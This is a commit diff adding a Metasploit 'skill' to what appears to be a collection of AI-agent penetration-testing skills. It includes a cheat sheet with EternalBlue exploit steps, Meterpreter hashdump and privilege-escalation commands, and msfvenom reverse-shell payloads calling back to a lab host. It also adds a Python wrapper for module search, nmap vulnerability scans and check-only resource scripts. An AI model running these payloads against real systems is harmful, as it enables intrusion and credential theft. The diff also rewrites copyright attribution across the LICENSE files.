Complete folder anatomy for all 649 cybersecurity skills + update LICENSE to Mahipal

- Add scripts/agent.py and references/api-reference.md to all remaining skills
- Update all 648 LICENSE files: copyright now reads 'Mahipal'
- Add implementing-security-monitoring-with-datadog (new skill with full anatomy)
- All 649 skills now have: SKILL.md, LICENSE, scripts/agent.py, references/api-reference.md

skills/exploiting-vulnerabilities-with-metasploit-framework/LICENSE

@@ -1,6 +1,6 @@
 MIT License
 
-Copyright (c) 2025 Anthropic Agent Skills Contributors
+Copyright (c) 2025 Mahipal
 
 Permission is hereby granted, free of charge, to any person obtaining a copy
 of this software and associated documentation files (the "Software"), to deal

skills/exploiting-vulnerabilities-with-metasploit-framework/references/api-reference.md

@@ -0,0 +1,100 @@
+# API Reference: Metasploit Framework
+
+## msfconsole Commands
+
+### Module Search
+```
+search type:exploit platform:windows cve:2021
+search name:eternalblue
+```
+
+### Module Usage
+```
+use exploit/windows/smb/ms17_010_eternalblue
+set RHOSTS 10.10.10.1
+set LHOST 10.10.10.5
+set PAYLOAD windows/x64/meterpreter/reverse_tcp
+check
+exploit
+```
+
+### Resource Scripts
+```bash
+msfconsole -q -r exploit.rc
+```
+
+## Module Types
+
+| Type | Path | Purpose |
+|------|------|---------|
+| exploit | exploit/ | Deliver payloads |
+| auxiliary | auxiliary/ | Scanning, fuzzing |
+| post | post/ | Post-exploitation |
+| payload | payload/ | Shellcode/agents |
+| encoder | encoder/ | Evasion encoding |
+
+## Common Exploit Modules
+
+| CVE | Module | Target |
+|-----|--------|--------|
+| CVE-2017-0144 | exploit/windows/smb/ms17_010_eternalblue | SMBv1 |
+| CVE-2019-0708 | exploit/windows/rdp/cve_2019_0708_bluekeep_rce | RDP |
+| CVE-2021-44228 | exploit/multi/http/log4shell_header_injection | Log4j |
+| CVE-2020-1472 | exploit/windows/dcerpc/zerologon | Netlogon |
+| CVE-2021-34527 | exploit/windows/dcerpc/cve_2021_1675_printnightmare | Print Spooler |
+
+## Meterpreter Commands
+
+### System
+```
+sysinfo          # System information
+getuid           # Current user
+getsystem        # Privilege escalation
+hashdump         # Dump password hashes
+```
+
+### File System
+```
+upload /local/file /remote/path
+download /remote/file /local/path
+```
+
+### Network
+```
+portfwd add -l 8080 -p 80 -r 10.10.10.2
+route add 10.10.20.0 255.255.255.0 1
+```
+
+## Metasploit REST API
+
+### Authentication
+```http
+POST https://msf:3790/api/v1/auth/account
+Content-Type: application/json
+
+{"username": "msf", "password": "password"}
+```
+
+### List Modules
+```http
+GET https://msf:3790/api/v1/modules/exploits
+Authorization: Token {token}
+```
+
+### Run Module
+```http
+POST https://msf:3790/api/v1/modules/execute
+Authorization: Token {token}
+
+{
+  "module_type": "exploit",
+  "module_name": "exploit/windows/smb/ms17_010_eternalblue",
+  "datastore": {"RHOSTS": "10.10.10.1"}
+}
+```
+
+## msfvenom — Payload Generation
+```bash
+msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f exe -o shell.exe
+msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f elf -o shell.elf
+```

skills/exploiting-vulnerabilities-with-metasploit-framework/scripts/agent.py

@@ -0,0 +1,133 @@
+#!/usr/bin/env python3
+"""Agent for vulnerability exploitation workflow using Metasploit Framework — authorized testing."""
+
+import argparse
+import json
+import os
+import subprocess
+import sys
+from datetime import datetime, timezone
+
+
+def search_modules(search_term):
+    """Search Metasploit modules via msfconsole."""
+    rc_content = f"search {search_term}\nexit\n"
+    rc_file = "/tmp/msf_search.rc"
+    with open(rc_file, "w") as f:
+        f.write(rc_content)
+    try:
+        result = subprocess.check_output(
+            ["msfconsole", "-q", "-r", rc_file],
+            text=True, errors="replace", timeout=60
+        )
+        modules = []
+        for line in result.splitlines():
+            if "exploit/" in line or "auxiliary/" in line:
+                parts = line.split()
+                if len(parts) >= 3:
+                    modules.append({
+                        "type": parts[0],
+                        "module": parts[1],
+                        "rank": parts[2] if len(parts) > 2 else "",
+                    })
+        return modules
+    except (subprocess.SubprocessError, FileNotFoundError):
+        return [{"error": "msfconsole not available"}]
+
+
+def generate_rc_file(module, options, output_file):
+    """Generate a Metasploit resource script for automated execution."""
+    lines = [f"use {module}"]
+    for key, value in options.items():
+        lines.append(f"set {key} {value}")
+    lines.append("check")
+    lines.append("exit")
+    rc_content = "\n".join(lines) + "\n"
+    with open(output_file, "w") as f:
+        f.write(rc_content)
+    return {"rc_file": output_file, "module": module, "options": options}
+
+
+def run_nmap_vuln_scan(target):
+    """Run nmap vulnerability scan to identify exploitable services."""
+    try:
+        result = subprocess.check_output(
+            ["nmap", "-sV", "--script", "vuln", "-p-", "--min-rate", "1000", target],
+            text=True, errors="replace", timeout=300
+        )
+        vulns = []
+        current_port = ""
+        for line in result.splitlines():
+            if "/tcp" in line or "/udp" in line:
+                current_port = line.split("/")[0].strip()
+            if "VULNERABLE" in line or "CVE-" in line:
+                vulns.append({"port": current_port, "finding": line.strip()})
+        return {"target": target, "vulnerabilities": vulns}
+    except (subprocess.SubprocessError, FileNotFoundError):
+        return {"target": target, "error": "nmap not available"}
+
+
+def map_cve_to_module(cve):
+    """Map a CVE to known Metasploit modules."""
+    cve_module_map = {
+        "CVE-2017-0144": "exploit/windows/smb/ms17_010_eternalblue",
+        "CVE-2019-0708": "exploit/windows/rdp/cve_2019_0708_bluekeep_rce",
+        "CVE-2021-44228": "exploit/multi/http/log4shell_header_injection",
+        "CVE-2021-34527": "exploit/windows/dcerpc/cve_2021_1675_printnightmare",
+        "CVE-2020-1472": "exploit/windows/dcerpc/zerologon",
+        "CVE-2021-26855": "exploit/windows/http/exchange_proxylogon_rce",
+    }
+    return cve_module_map.get(cve, None)
+
+
+def main():
+    parser = argparse.ArgumentParser(
+        description="Metasploit Framework exploitation workflow (authorized testing only)"
+    )
+    parser.add_argument("--search", help="Search for Metasploit modules")
+    parser.add_argument("--scan", help="Target IP for nmap vuln scan")
+    parser.add_argument("--generate-rc", help="Module to generate RC file for")
+    parser.add_argument("--rhost", help="Target host for RC file")
+    parser.add_argument("--lhost", help="Local host for reverse shell")
+    parser.add_argument("--cve", help="Map CVE to Metasploit module")
+    parser.add_argument("--output", "-o", help="Output JSON report")
+    args = parser.parse_args()
+
+    print("[*] Metasploit Framework Automation Agent")
+    print("[!] For authorized security testing only")
+    report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": {}}
+
+    if args.search:
+        modules = search_modules(args.search)
+        report["findings"]["search_results"] = modules
+        print(f"[*] Found {len(modules)} modules for '{args.search}'")
+
+    if args.scan:
+        scan_result = run_nmap_vuln_scan(args.scan)
+        report["findings"]["vuln_scan"] = scan_result
+
+    if args.generate_rc:
+        options = {}
+        if args.rhost:
+            options["RHOSTS"] = args.rhost
+        if args.lhost:
+            options["LHOST"] = args.lhost
+        rc = generate_rc_file(args.generate_rc, options, "/tmp/exploit.rc")
+        report["findings"]["rc_file"] = rc
+        print(f"[*] RC file generated: {rc['rc_file']}")
+
+    if args.cve:
+        module = map_cve_to_module(args.cve)
+        report["findings"]["cve_mapping"] = {"cve": args.cve, "module": module}
+        print(f"[*] {args.cve} -> {module or 'no known module'}")
+
+    if args.output:
+        with open(args.output, "w") as f:
+            json.dump(report, f, indent=2)
+        print(f"[*] Report saved to {args.output}")
+    else:
+        print(json.dumps(report, indent=2))
+
+
+if __name__ == "__main__":
+    main()